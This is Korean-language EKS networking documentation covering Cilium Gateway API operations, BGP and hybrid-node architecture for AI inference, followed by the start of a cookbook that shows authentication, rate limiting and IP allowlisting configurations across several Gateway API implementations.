# Grafana UI > Dashboards > Import > 16611 입력
# 또는 JSON 파일 직접 다운로드
curl -o cilium-dashboard.json https://grafana.com/api/dashboards/16611/revisions/latest/download
# Hubble 대시보드 (Grafana ID: 16612)
curl -o hubble-dashboard.json https://grafana.com/api/dashboards/16612/revisions/latest/download
```
**주요 대시보드 패널:**
- Network Throughput (in/out bytes per second)
- Packet Drop Rate by Reason
- Connection Rate (new connections per second)
- NAT Table Utilization
- eBPF Map Pressure
- Gateway Request Rate and Latency
- Top Talkers (most active pods)
- Service Dependency Map
### Source IP 보존
NLB IP 타겟 모드에서는 클라이언트 IP가 자동으로 보존되지만, Envoy에서 추가 헤더를 통해 확인할 수 있습니다.
**X-Forwarded-For 헤더 추가**
```yaml
# gateway-with-xff.yaml
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: cilium-gateway
annotations:
# NLB IP 타겟 모드 (Source IP 보존)
service.beta.kubernetes.io/aws-load-balancer-nlb-target-type: "ip"
# Envoy에서 X-Forwarded-For 헤더 추가
service.beta.kubernetes.io/aws-load-balancer-proxy-protocol: "*"
spec:
gatewayClassName: cilium
listeners:
- name: https
protocol: HTTPS
port: 443
tls:
mode: Terminate
certificateRefs:
- name: tls-cert
```
**백엔드에서 클라이언트 IP 읽기 (Python 예시)**
```python
from flask import Flask, request
app = Flask(__name__)
@app.route('/api/info')
def get_client_ip():
# 1순위: X-Forwarded-For 헤더 (프록시 체인)
if 'X-Forwarded-For' in request.headers:
client_ip = request.headers['X-Forwarded-For'].split(',')[0].strip()
# 2순위: X-Envoy-External-Address (Envoy가 추가)
elif 'X-Envoy-External-Address' in request.headers:
client_ip = request.headers['X-Envoy-External-Address']
# 3순위: 직접 연결 (NLB IP 타겟 모드)
else:
client_ip = request.remote_addr
return {
"client_ip": client_ip,
"headers": dict(request.headers)
}
```
### 주요 검증 명령어
```bash
# 1. Cilium 상태 확인
cilium status --wait
# 2. Gateway 상태 확인
kubectl get gateway cilium-gateway -o jsonpath='{.status.conditions[?(@.type=="Programmed")].status}'
# 출력: True
# 3. HTTPRoute 상태 확인
kubectl get httproute -A -o wide
# 4. Envoy 리스너 확인
kubectl exec -n kube-system ds/cilium -- cilium envoy admin listeners
# 5. 백엔드 엔드포인트 확인
kubectl exec -n kube-system ds/cilium -- cilium service list
# 6. ENI 할당 상태
kubectl get ciliumnodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.eni.available}{"\t"}{.status.ipam.used}{"\n"}{end}'
# 7. 플로우 모니터링 (30초간)
hubble observe --all --since 30s
# 8. 네트워크 정책 검증
cilium endpoint list
# 9. BPF 맵 통계
kubectl exec -n kube-system ds/cilium -- cilium bpf metrics list
# 10. 연결성 테스트
cilium connectivity test --test egress-gateway,to-cidr
```
## 8. BGP Control Plane v2
Cilium BGP Control Plane v2는 온프레미스 데이터센터나 하이브리드 환경에서 LoadBalancer IP를 BGP로 광고하는 기능입니다.
:::info
AWS EKS에서는 NLB를 사용하므로 BGP가 필수는 아니지만, 하이브리드 클라우드 환경에서 온프레미스와 EKS 간 트래픽 라우팅이 필요한 경우 유용합니다.
:::
### CiliumBGPPeeringPolicy CRD
```yaml
# bgp-peering-policy.yaml
apiVersion: cilium.io/v2alpha1
kind: CiliumBGPPeeringPolicy
metadata:
name: bgp-policy
spec:
# 어느 노드에서 BGP 피어링을 수행할지 선택
nodeSelector:
matchLabels:
role: gateway
# BGP 가상 라우터 설정
virtualRouters:
- localASN: 64512 # EKS 클러스터의 AS 번호
exportPodCIDR: false # Pod CIDR은 광고하지 않음 (ENI 모드)
# 광고할 서비스 선택
serviceSelector:
matchLabels:
bgp-advertise: "true"
# BGP 피어 목록 (온프레미스 라우터)
neighbors:
- peerAddress: 192.168.1.1/32 # 피어 라우터 IP
peerASN: 64500 # 피어 AS 번호
eBGPMultihopTTL: 10
# 연결 유지 타이머
connectRetryTimeSeconds: 120
holdTimeSeconds: 90
keepAliveTimeSeconds: 30
- peerAddress: 192.168.1.2/32
peerASN: 64500
eBGPMultihopTTL: 10
```
### LoadBalancer IP 광고
```yaml
# service-with-bgp.yaml
apiVersion: v1
kind: Service
metadata:
name: gateway-service
namespace: default
labels:
bgp-advertise: "true" # BGP로 광고
annotations:
# EKS에서는 NLB 사용
service.beta.kubernetes.io/aws-load-balancer-type: "nlb"
# Cilium BGP 설정
io.cilium/bgp-announce: "true"
io.cilium/bgp-local-pref: "100"
spec:
type: LoadBalancer
selector:
app: cilium-gateway
ports:
- name: https
port: 443
targetPort: 443
protocol: TCP
```
### 하이브리드 환경 지원
```mermaid
graph TB
subgraph "On-Premises Data Center"
ROUTER1[Core Router
AS 64500
192.168.1.1]
ROUTER2[Core Router
AS 64500
192.168.1.2]
ONPREM[Legacy Applications]
ROUTER1 --> ONPREM
ROUTER2 --> ONPREM
end
subgraph "AWS VPC"
subgraph "EKS Cluster"
subgraph "Gateway Nodes"
NODE1[Worker Node 1
BGP Speaker
AS 64512]
NODE2[Worker Node 2
BGP Speaker
AS 64512]
end
NLB[Network Load Balancer
a.b.c.d]
ENVOY[Cilium Gateway]
NODE1 -.->|Advertise a.b.c.d/32| ROUTER1
NODE2 -.->|Advertise a.b.c.d/32| ROUTER2
NLB --> ENVOY
end
DX[AWS Direct Connect
or VPN]
end
ROUTER1 <-->|BGP Peering| DX
ROUTER2 <-->|BGP Peering| DX
DX <--> NODE1
DX <--> NODE2
CLIENT[Client
On-Premises] --> ROUTER1
CLIENT --> ROUTER2
style ROUTER1 fill:#4CAF50
style ROUTER2 fill:#4CAF50
style NODE1 fill:#00D4AA
style NODE2 fill:#00D4AA
style DX fill:#FF9900
```
**트래픽 흐름:**
1. 온프레미스 클라이언트가 EKS의 서비스 IP (a.b.c.d)로 요청
2. 온프레미스 코어 라우터가 BGP 라우팅 테이블 조회
3. Direct Connect/VPN을 통해 EKS Gateway 노드로 전달
4. Cilium Gateway가 요청을 처리하여 백엔드 파드로 라우팅
**BGP 상태 확인:**
```bash
# BGP 피어 상태 확인
kubectl get ciliumbgppeeringstatus
# 광고 중인 경로 확인
kubectl exec -n kube-system ds/cilium -- cilium bgp routes
# 피어 연결 상태
kubectl exec -n kube-system ds/cilium -- cilium bgp peers
```
**출력 예시:**
```
Local AS Peer AS Peer Address Status Uptime Prefixes
64512 64500 192.168.1.1 Established 2h34m 1
64512 64500 192.168.1.2 Established 2h34m 1
Advertised Routes:
10.0.100.50/32 via 172.31.1.10 (self)
```
---
## 9. 하이브리드 노드 아키텍처와 AI/ML 워크로드
EKS Hybrid Nodes를 활용하여 클라우드와 온프레미스(또는 GPU 전용 데이터센터)를 통합 운영하는 경우, Cilium은 CNI 단일화와 통합 관측성 측면에서 핵심적인 역할을 수행합니다.
### 9.1 하이브리드 노드에서 Cilium이 필요한 이유
AWS VPC CNI는 **VPC 내부의 EC2 인스턴스에서만 동작**합니다. EKS Hybrid Nodes로 온프레미스 GPU 서버를 클러스터에 참여시키면 VPC CNI를 사용할 수 없으므로, 클라우드와 온프레미스 노드 간 CNI가 분리되는 문제가 발생합니다.
하이브리드 노드 환경에서 CNI를 구성하는 방법은 크게 세 가지입니다.
| 구분 | VPC CNI + Calico | VPC CNI + Cilium | Cilium 단일 (권장) |
|------|-----------------|-----------------|-------------------|
| 클라우드 노드 CNI | VPC CNI | VPC CNI | Cilium ENI 모드 |
| 온프레미스 노드 CNI | Calico 별도 설치 | Cilium 별도 설치 | Cilium VXLAN/Native |
| 온프레미스 네트워킹 | Calico VXLAN/BGP | Cilium VXLAN 또는 BGP | Cilium VXLAN 또는 BGP |
| CNI 단일화 | ❌ 2개 CNI | ❌ 2개 CNI | ✅ 단일 CNI |
| 네트워크 정책 엔진 | 이원화 (VPC CNI + Calico) | 이원화 (VPC CNI + Cilium) | 단일 eBPF 엔진 |
| 관측성 | CloudWatch + 별도 도구 | CloudWatch + Hubble (온프렘만) | Hubble 통합 (전체 클러스터) |
| Gateway API | 별도 구현체 필요 | 온프렘에서만 Cilium Gateway API | Cilium Gateway API 내장 |
| eBPF 가속 | ❌ 클라우드 미지원 | ❌ 클라우드 미지원 | ✅ 전체 노드 eBPF |
| 운영 복잡도 | 높음 (2개 CNI + 2개 정책 엔진) | 중간 (2개 CNI, Cilium 경험 활용) | 낮음 (단일 스택) |
:::warning 온프레미스 노드의 오버레이 네트워크
어떤 CNI를 선택하든 **온프레미스 노드에서는 오버레이 네트워크(VXLAN/Geneve)가 기본 구성**입니다. 온프레미스에는 AWS VPC 라우팅 테이블이 없으므로 Pod CIDR 간 통신을 위해 캡슐화가 필요합니다.
오버레이를 제거하려면 **BGP 피어링**이 필요합니다. Cilium BGP Control Plane v2로 Pod CIDR를 온프레미스 라우터에 광고하면 네이티브 라우팅이 가능하지만, 온프레미스 네트워크 장비의 BGP 지원이 전제됩니다.
:::
:::info Admission Webhook 라우팅 문제와 해결 방법
EKS 컨트롤 플레인(AWS VPC 내)이 하이브리드 노드의 웹훅 파드에 도달하려면 Pod CIDR가 라우팅 가능해야 합니다. [AWS 공식 문서](https://docs.aws.amazon.com/eks/latest/userguide/hybrid-nodes-webhooks.html)에서는 두 가지 접근 방식을 제시합니다.
**Pod CIDR가 라우팅 가능한 경우:**
- BGP (권장), 정적 라우트, 또는 커스텀 라우팅으로 온프레미스 Pod CIDR를 광고
**Pod CIDR가 라우팅 불가능한 경우 (BGP 없이):**
- **웹훅을 클라우드 노드에서 실행** (AWS 공식 권장) — `nodeSelector` 또는 `nodeAffinity`로 웹훅 파드를 클라우드 노드에 고정. API 서버가 VPC 내에서 직접 접근 가능
- **Cilium 오버레이(VXLAN) 모드를 전체 클러스터에 단일 CNI로 사용** — [참고 아티클](https://medium.com/@the.jfnadeau/eks-cilium-as-the-only-cni-driver-with-simplified-hybrid-nodes-and-admission-webhooks-routing-1f351d11f9dd). 오버레이 모드에서는 노드 IP 간 유니캐스트 통신만 필요하므로, API 서버가 VXLAN 터널을 통해 웹훅 파드에 도달 가능. 단, 클라우드 노드에서 ENI 네이티브 라우팅 이점을 포기해야 함
:::
:::tip Cilium 단일 구성 시 IPAM 고려사항
Cilium의 `ipam.mode=eni`는 **AWS EC2 인스턴스에서만 동작**합니다. 온프레미스 노드가 포함된 하이브리드 클러스터에서 Cilium 단일 구성을 구현하는 방법은 세 가지입니다.
1. **ClusterMesh (권장)**: 클라우드 클러스터(ENI 모드) + 온프렘 클러스터(cluster-pool 모드)를 별도로 운영하고 [Cilium ClusterMesh](https://docs.cilium.io/en/stable/network/clustermesh/)로 연결. 각 환경에 최적화된 IPAM을 사용하면서 통합 관측성 확보.
2. **Multi-pool IPAM**: 단일 클러스터에서 노드 레이블 기반으로 다른 IPAM 풀을 할당 (Cilium 1.15+). 클라우드 노드에는 ENI 풀, 온프렘 노드에는 cluster-pool을 사용.
3. **Cluster-pool IPAM 통일**: ENI 모드를 포기하고 전체를 `cluster-pool` + VXLAN로 운영. 가장 단순하지만 클라우드에서 ENI 네이티브 라우팅 이점을 잃음.
:::
### 9.2 권장 아키텍처: Cilium + Cilium Gateway API + llm-d
AI/ML 추론 워크로드를 하이브리드 노드에서 운영할 때, **컴포넌트 수를 최소화하면서 최적의 성능을 달성**하는 구조입니다.
```mermaid
graph TB
subgraph "Cloud Nodes (EKS)"
CG[Cilium Gateway API
범용 L7 라우팅]
APP[일반 워크로드
API, Web, DB]
end
subgraph "On-Prem / GPU Nodes (Hybrid)"
LLMD[llm-d Inference Gateway
KV Cache-aware 라우팅]
VLLM[vLLM 인스턴스
GPU 추론 엔진]
end
CLIENT[외부 트래픽] --> CG
CG -->|일반 요청| APP
CG -->|/v1/completions| LLMD
LLMD -->|KV Cache 최적화| VLLM
HUBBLE[Hubble
통합 관측성] -.->|L3-L7 모니터링| CG
HUBBLE -.->|L3-L7 모니터링| LLMD
style CG fill:#00D4AA
style LLMD fill:#AC58E6
style HUBBLE fill:#00BFA5
```
**구성 요소 역할:**
| 컴포넌트 | 역할 | 범위 |
|----------|------|------|
| **Cilium CNI** | 클라우드+온프레미스 통합 네트워킹 | 전체 클러스터 |
| **Cilium Gateway API** | 범용 L7 라우팅 (HTTPRoute, TLS 종료) | North-South 트래픽 |
| **llm-d** | LLM 추론 전용 게이트웨이 (KV Cache-aware, prefix-aware) | AI 추론 트래픽만 |
| **Hubble** | 전체 트래픽 L3-L7 관측성 | 전체 클러스터 |
:::warning llm-d는 범용 Gateway API 구현체가 아닙니다
llm-d의 Envoy 기반 Inference Gateway는 **LLM 추론 요청 전용**으로 설계되었습니다. 일반적인 웹/API 트래픽 라우팅에는 Cilium Gateway API나 다른 범용 Gateway API 구현체를 사용해야 합니다. 자세한 내용은 [llm-d 문서](/docs/agentic-ai-platform/model-serving/inference-frameworks/llm-d-eks-automode)를 참조하세요.
:::
### 9.3 대안 아키텍처 비교
| 옵션 | 구성 | 장점 | 단점 |
|------|------|------|------|
| **Option 1 (권장)** | Cilium CNI + Cilium Gateway API + llm-d | 컴포넌트 최소, Hubble 통합 관측성, 단일 벤더 | Cilium Gateway API는 Envoy Gateway 대비 기능이 적을 수 있음 |
| **Option 2** | Cilium CNI + Envoy Gateway + llm-d | CNCF 표준, 풍부한 L7 기능 | 추가 컴포넌트(Envoy Gateway) 관리 필요 |
| **Option 3** | Cilium CNI + kgateway + llm-d | kgateway의 AI 라우팅 기능 | 가장 많은 컴포넌트, 라이선스 확인 필요 |
| **Option 4 (미래)** | Cilium CNI + Gateway API Inference Extension | 단일 Gateway로 통합, 표준화된 InferenceModel/InferencePool CRD | 아직 알파 단계 (2025 Q3 베타 예상) |
### 9.4 Gateway API Inference Extension (미래 방향)
[Gateway API Inference Extension](https://gateway-api.sigs.k8s.io/geps/gep-3567/)은 Gateway API에 AI/ML 추론 전용 리소스를 추가하는 표준화 작업입니다. 이 확장이 GA되면 **범용 Gateway API 구현체 하나로 일반 트래픽과 AI 추론 트래픽을 모두 처리**할 수 있게 됩니다.
**핵심 CRD:**
```yaml
# InferenceModel: AI 모델 엔드포인트 정의
apiVersion: inference.gateway.networking.k8s.io/v1alpha1
kind: InferenceModel
metadata:
name: llama-3-70b
spec:
modelName: meta-llama/Llama-3-70B-Instruct
poolRef:
name: gpu-pool
criticality: Critical
---
# InferencePool: GPU 백엔드 풀 정의
apiVersion: inference.gateway.networking.k8s.io/v1alpha1
kind: InferencePool
metadata:
name: gpu-pool
spec:
targetPortNumber: 8000
selector:
matchLabels:
app: vllm
```
**현재 상태 (2025년 기준):**
- `InferenceModel`, `InferencePool` CRD: v1alpha1
- 구현체: llm-d, Envoy Gateway, kgateway 등에서 실험적 지원
- 예상 GA: 2026년 상반기
:::tip 현재 권장 전략
Gateway API Inference Extension이 GA되기 전까지는 **Option 1 (Cilium + Cilium Gateway API + llm-d)**을 채택하고, 추후 Inference Extension이 안정화되면 llm-d를 Inference Extension 기반 구성으로 전환하는 점진적 마이그레이션을 권장합니다.
:::
---
## 관련 문서
- **[Gateway API 도입 가이드](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide)** - 전체 Gateway API 마이그레이션 가이드
- **[llm-d + EKS 배포 가이드](/docs/agentic-ai-platform/model-serving/inference-frameworks/llm-d-eks-automode)** - llm-d 분산 추론 스택 구성
- **[Cilium 공식 문서](https://docs.cilium.io/)** - Cilium 프로젝트 공식 문서
- **[Cilium Gateway API 문서](https://docs.cilium.io/en/stable/network/servicemesh/gateway-api/)** - Cilium의 Gateway API 구현 가이드
- **[Gateway API Inference Extension](https://gateway-api.sigs.k8s.io/geps/gep-3567/)** - AI/ML 추론 전용 Gateway API 확장
- **[AWS EKS Best Practices](https://aws.github.io/aws-eks-best-practices/)** - EKS 모범 사례 가이드
- **[eBPF 소개](https://ebpf.io/)** - eBPF 기술 개요 및 학습 자료
---
# 기능별 구현 쿡북: 6개 Gateway API 구현체
> 인증·Rate Limiting·IP 제어·URL Rewrite·헤더 조작·세션 어피니티·본문 크기 제한·커스텀 에러 페이지를 AWS LBC·Cilium·NGINX GF·Envoy Gateway·kGateway별 YAML로 구현하는 레퍼런스
Source: https://devfloor9.github.io/engineering-playbook/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide/feature-implementation-cookbook
Category: EKS Best Practices
Last updated: 2026-06-30
Author: YoungJoon Jeong
Tags: eks, gateway-api, cilium, envoy, kong, networking
import Tabs from '@theme/Tabs';
import TabItem from '@theme/TabItem';
:::info
이 문서는 [Gateway API 도입 가이드](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide)의 심화 가이드입니다. NGINX Ingress에서 사용하던 8가지 주요 기능을 각 Gateway API 구현체에서 어떻게 구현하는지 YAML 예제로 비교합니다. 솔루션 선정·비교표·의사결정 트리는 본 가이드의 [섹션 4](/docs/eks-best-practices/networking-performance/gateway-api-adoption-guide#4-gateway-api-구현체-비교---aws-native-vs-open-source)를 참조하세요.
:::
## 개요
이 쿡북은 다음 8가지 기능을 AWS Native(LBC v3), Cilium, NGINX Gateway Fabric, Envoy Gateway, kGateway별로 구현하는 방법을 다룹니다. URL Rewrite와 헤더 조작은 Gateway API v1 표준 기능으로 모든 구현체에서 동일하게 작동합니다.
| # | 기능 | 표준 여부 |
|---|------|----------|
| 1 | 인증 (Basic Auth 대체) | 구현체별 상이 |
| 2 | Rate Limiting | 구현체별 상이 |
| 3 | IP 제어 (IP Allowlist) | 구현체별 상이 |
| 4 | URL Rewrite | Gateway API v1 표준 |
| 5 | Header 조작 | Gateway API v1 표준 |
| 6 | 세션 어피니티 (Cookie-based) | 구현체별 상이 |
| 7 | 요청 본문 크기 제한 | 구현체별 상이 |
| 8 | 커스텀 에러 페이지 | 구현체별 상이 |
---
## 1. 인증 (Basic Auth 대체)
```yaml
# AWS LBC v3의 네이티브 JWT 검증
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: jwt-protected-route
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
- matches:
- path:
type: PathPrefix
value: /api
filters:
- type: ExtensionRef
extensionRef:
group: eks.amazonaws.com
kind: JWTAuthorizer
name: cognito-authorizer
backendRefs:
- name: api-service
port: 8080
---
# JWTAuthorizer CRD (LBC v3 확장)
apiVersion: eks.amazonaws.com/v1
kind: JWTAuthorizer
metadata:
name: cognito-authorizer
spec:
issuer: https://cognito-idp.us-west-2.amazonaws.com/us-west-2_ABC123
audiences:
- api-gateway-client
claimsToHeaders:
- claim: sub
header: x-user-id
- claim: email
header: x-user-email
```
:::warning 제한 사항
Cilium은 네이티브 JWT/OIDC 인증을 지원하지 않습니다. CiliumEnvoyConfig로 Envoy ext_authz 필터를 구성하거나, 별도 인증 서비스(OAuth2 Proxy 등)를 배포해야 합니다.
:::
```yaml
# CiliumNetworkPolicy로 L7 HTTP 헤더 검증 (기본 인증)
apiVersion: cilium.io/v2
kind: CiliumNetworkPolicy
metadata:
name: auth-header-check
namespace: production
spec:
endpointSelector:
matchLabels:
app: api-service
ingress:
- fromEndpoints:
- matchLabels:
io.kubernetes.pod.namespace: ingress-nginx
toPorts:
- ports:
- port: "8080"
protocol: TCP
rules:
http:
- method: GET
headers:
- "Authorization: Bearer.*"
---
# 또는 CiliumEnvoyConfig로 Envoy ext_authz 구성
apiVersion: cilium.io/v2
kind: CiliumEnvoyConfig
metadata:
name: ext-authz
namespace: production
spec:
services:
- name: api-service
namespace: production
resources:
- "@type": type.googleapis.com/envoy.config.listener.v3.Listener
name: envoy-lb-listener
filterChains:
- filters:
- name: envoy.filters.network.http_connection_manager
typedConfig:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
httpFilters:
- name: envoy.filters.http.ext_authz
typedConfig:
"@type": type.googleapis.com/envoy.extensions.filters.http.ext_authz.v3.ExtAuthz
grpcService:
envoyGrpc:
clusterName: ext-authz-service
includePeerCertificate: true
```
:::warning 제한 사항
NGINX Gateway Fabric은 네이티브 JWT 검증을 지원하지 않습니다. nginx.org/v1alpha1 UpstreamSettingsPolicy와 외부 인증 서비스를 조합해야 합니다.
:::
```yaml
# 외부 인증 서비스를 통한 패턴
apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
name: auth-protected
namespace: production
spec:
parentRefs:
- name: production-gateway
rules:
# 인증 없이 /auth 엔드포인트로 먼저 라우팅
- matches:
- path:
type: PathPrefix
value: /api
headers:
- name: Authorization
type: RegularExpression
value: "^Bearer .+"
backendRefs:
- name: api-service
port: 8080
# Authorization 헤더 없으면 401 반환 (별도 에러 서비스)
- matches:
- path:
type: PathPrefix
value: /api
backendRefs:
- name: auth-error-service
port: 80
---
apiVersion: gateway.nginx.org/v1alpha1
kind: UpstreamSettingsPolicy
metadata:
name: auth-proxy
spec:
targetRef:
group: ""
kind: Service
name: api-service
# NGINX에서는 auth_request 모듈을 사용하여 외부 인증 검증
# OAuth2 Proxy 또는 유사한 인증 프록시를 배포하여 구현
```
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: SecurityPolicy
metadata:
name: ext-auth
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
extAuth:
http:
service:
name: auth-service
port: 8080
headersToBackend:
- x-user-id
- x-user-role
backendRefs:
- name: auth-service
port: 8080
```
```yaml
apiVersion: gateway.kgateway.io/v1alpha1
kind: RouteOption
metadata:
name: jwt-auth
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
jwt:
providers:
- name: keycloak
issuer: https://keycloak.example.com/auth/realms/production
audiences:
- api-gateway
jwksUri: https://keycloak.example.com/auth/realms/production/protocol/openid-connect/certs
claimsToHeaders:
- claim: sub
header: x-user-id
- claim: groups
header: x-user-groups
```
## 2. Rate Limiting
:::warning 제한 사항
AWS Native(LBC v3)는 게이트웨이 레벨의 네이티브 Rate Limiting을 지원하지 않습니다. AWS WAF Rate-based Rule을 사용하여 IP 기반 요청 제한을 구현합니다.
:::
```yaml
# ALB에 WAF Rate-based Rule 연결
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
annotations:
# Rate limiting WAF ACL ARN
aws.load-balancer.waf-acl-arn: arn:aws:wafv2:us-west-2:123456789012:regional/webacl/rate-limit/a1b2c3d4
spec:
gatewayClassName: aws-alb
listeners:
- name: http
port: 80
protocol: HTTP
```
**ACK(AWS Controllers for Kubernetes)로 WAF Rate-based Rule 생성:**
ACK WAFv2 컨트롤러를 사용하면 WAF 리소스를 Kubernetes 매니페스트로 선언적 관리할 수 있습니다.
**EKS Capabilities로 ACK 활성화 (권장):**
EKS Capabilities(2025년 11월 GA)를 사용하면 ACK 컨트롤러를 AWS 완전 관리형으로 운영할 수 있습니다. 컨트롤러가 AWS 관리 인프라에서 실행되므로 워커 노드에 별도 Pod가 배포되지 않습니다.
```bash
# 1. IAM Capability Role 생성
aws iam create-role \
--role-name EKS-ACK-Capability-Role \
--assume-role-policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": { "Service": "eks.amazonaws.com" },
"Action": "sts:AssumeRole",
"Condition": {
"StringEquals": { "aws:SourceAccount": "" }
}
}]
}'
# WAFv2 권한 정책 연결
aws iam put-role-policy \
--role-name EKS-ACK-Capability-Role \
--policy-name ACK-WAFv2-Policy \
--policy-document '{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Action": ["wafv2:*"],
"Resource": "*"
}]
}'
# 2. EKS 클러스터에 ACK Capability 생성
aws eks create-capability \
--cluster-name my-eks-cluster \
--capability-type ACK \
--capability-configuration '{
"capabilityRoleArn": "arn:aws:iam:::role/EKS-ACK-Capability-Role"
}'
# 3. CRD 등록 확인
kubectl get crds | grep wafv2
```
대안: Helm으로 직접 설치 (비 EKS 환경)
EKS가 아닌 환경이나 컨트롤러를 직접 관리해야 하는 경우 Helm으로 설치할 수 있습니다.
```bash
helm install ack-wafv2-controller \
oci://public.ecr.aws/aws-controllers-k8s/wafv2-chart \
--namespace ack-system \
--create-namespace \
--set aws.region=ap-northeast-2
```
이 방식은 컨트롤러가 워커 노드에 Pod로 배포되며, IRSA(IAM Roles for Service Accounts)로 권한을 관리합니다.
```yaml
# ACK WAFv2 WebACL - Rate-based Rule 정의
apiVersion: wafv2.services.k8s.aws/v1alpha1
kind: WebACL
metadata:
name: rate-limit-acl
namespace: production
spec:
name: rate-limit-acl
scope: REGIONAL
defaultAction:
allow: {}
rules:
- name: ip-rate-limit
priority: 1
action:
block: {}
statement:
rateBasedStatement:
limit: 500 # 5분간 최대 요청 수 (100~2,000,000,000)
aggregateKeyType: IP # IP 기반 집계
visibilityConfig:
sampledRequestsEnabled: true
cloudWatchMetricsEnabled: true
metricName: ip-rate-limit
visibilityConfig:
sampledRequestsEnabled: true
cloudWatchMetricsEnabled: true
metricName: rate-limit-acl
```
```yaml
# 생성된 WebACL ARN을 Gateway에 연결
# WebACL 생성 후 status.ackResourceMetadata.arn 에서 ARN 확인:
# kubectl get webacl rate-limit-acl -n production \
# -o jsonpath='{.status.ackResourceMetadata.arn}'
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
annotations:
aws.load-balancer.waf-acl-arn:
spec:
gatewayClassName: aws-alb
listeners:
- name: http
port: 80
protocol: HTTP
```
:::note ACK WAFv2 컨트롤러 요구사항
- ACK WAFv2 컨트롤러에 `wafv2:CreateWebACL`, `wafv2:UpdateWebACL`, `wafv2:DeleteWebACL`, `wafv2:GetWebACL` 등의 IAM 권한이 필요합니다
- **EKS Capabilities** 사용 시: IAM Capability Role에 WAFv2 권한을 연결합니다. 컨트롤러는 AWS 관리 인프라에서 실행됩니다
- **Helm 설치** 사용 시: IRSA(IAM Roles for Service Accounts) 또는 EKS Pod Identity를 통해 최소 권한을 부여하세요
- WebACL과 ALB는 동일 리전에 있어야 합니다
:::
```yaml
apiVersion: cilium.io/v2
kind: CiliumEnvoyConfig
metadata:
name: rate-limit
spec:
services:
- name: api-service
namespace: production
backendServices:
- name: api-service
namespace: production
number:
- "8080"
resources:
- "@type": type.googleapis.com/envoy.config.listener.v3.Listener
name: envoy-lb-listener
filterChains:
- filters:
- name: envoy.filters.network.http_connection_manager
typedConfig:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
httpFilters:
- name: envoy.filters.http.local_ratelimit
typedConfig:
"@type": type.googleapis.com/envoy.extensions.filters.http.local_ratelimit.v3.LocalRateLimit
statPrefix: http_local_rate_limiter
tokenBucket:
maxTokens: 200
tokensPerFill: 100
fillInterval: 1s
```
```yaml
apiVersion: gateway.nginx.org/v1alpha1
kind: NginxProxy
metadata:
name: rate-limit
spec:
rateLimiting:
rate: 100r/s # 초당 100 요청
burst: 200 # 버스트 200 요청
noDelay: true # 즉시 제한 적용
zoneSize: 10m # 메모리 존 크기
```
```yaml
apiVersion: gateway.envoyproxy.io/v1alpha1
kind: BackendTrafficPolicy
metadata:
name: rate-limit
namespace: production
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
rateLimit:
type: Global
global:
rules:
- limit:
requests: 100
unit: Second
clientSelectors:
- headers:
- name: x-user-id
type: Distinct # 사용자별 제한
```
```yaml
apiVersion: gateway.kgateway.io/v1alpha1
kind: RouteOption
metadata:
name: rate-limit
spec:
targetRefs:
- group: gateway.networking.k8s.io
kind: HTTPRoute
name: api-route
rateLimitConfigs:
- actions:
- genericKey:
descriptorValue: per-user
- requestHeaders:
headerName: x-user-id
descriptorKey: user_id
limit:
dynamicMetadata:
metadataKey:
key: rl
path:
- key: per-user
unit: SECOND
requestsPerUnit: 100
```
## 3. IP 제어 (IP Allowlist)
```yaml
# ALB Ingress에 WAF 연결 (LBC v3)
apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
name: production-gateway
annotations:
aws.load-balancer.waf-acl-arn: arn:aws:wafv2:us-west-2:123456789012:regional/webacl/ip-allowlist/a1b2c3d4
spec:
gatewayClassName: aws-alb
listeners:
- name: http
port: 80
protocol: HTTP
```
**ACK(AWS Controllers for Kubernetes)로 WAF IP Allowlist 생성:**
ACK WAFv2 컨트롤러를 사용하면 IPSet과 WebACL을 Kubernetes 매니페스트로 선언적 관리할 수 있습니다.
```yaml
# 1. ACK WAFv2 IPSet - 허용할 IP 목록 정의
apiVersion: wafv2.services.k8s.aws/v1alpha1
kind: IPSet
metadata:
name: allowed-ips
namespace: production
spec:
name: allowed-ips
scope: REGIONAL
ipAddressVersion: IPV4
addresses:
- "10.0.0.0/8" # VPC 내부
- "192.168.1.0/24" # 사무실 네트워크
- "203.0.113.100/32" # 특정 허용 IP
```
```yaml
# 2. ACK WAFv2 WebACL - IPSet 기반 Allowlist 규칙
# IPSet 생성 후 status.ackResourceMetadata.arn 에서 ARN 확인:
# kubectl get ipset allowed-ips -n production \
# -o jsonpath='{.status.ackResourceMetadata.arn}'
apiVersion: wafv2.services.k8s.aws/v1alpha1
kind: WebACL
metadata:
name: ip-allowlist-acl
namespace: production
spec:
name: ip-allowlist-acl
scope: REGIONAL
defaultAction:
block: {} # 기본 차단, 허용 목록만 통과
rules:
- name: allow-trusted-ips
priority: 1
action:
allow: {}
statement:
ipSetReferenceStatement:
arn: # allowed-ips IPSet의 ARN
visibilityConfig:
sampledRequestsEnabled: true
cloudWatchMetricsEnabled: true
metricName: allow-trusted-ips
visibilityConfig:
sampledRequestsEnabled: true
cloudWatchMetricsEnabled: true
metricName: ip-allowlist-acl
```
```yaml
# 3. 생성된 WebACL ARN을 Gateway에 연결
# WebACL 생성 후 status.ackResourceMetadata.arn 에서 ARN 확인:
# kubectl get webacl ip-allowlist-acl -n production \
# -o jsonpath='{.status.ackResourceMetadata.arn}'
apiVersion: gateway.networking.k8s.io/v1
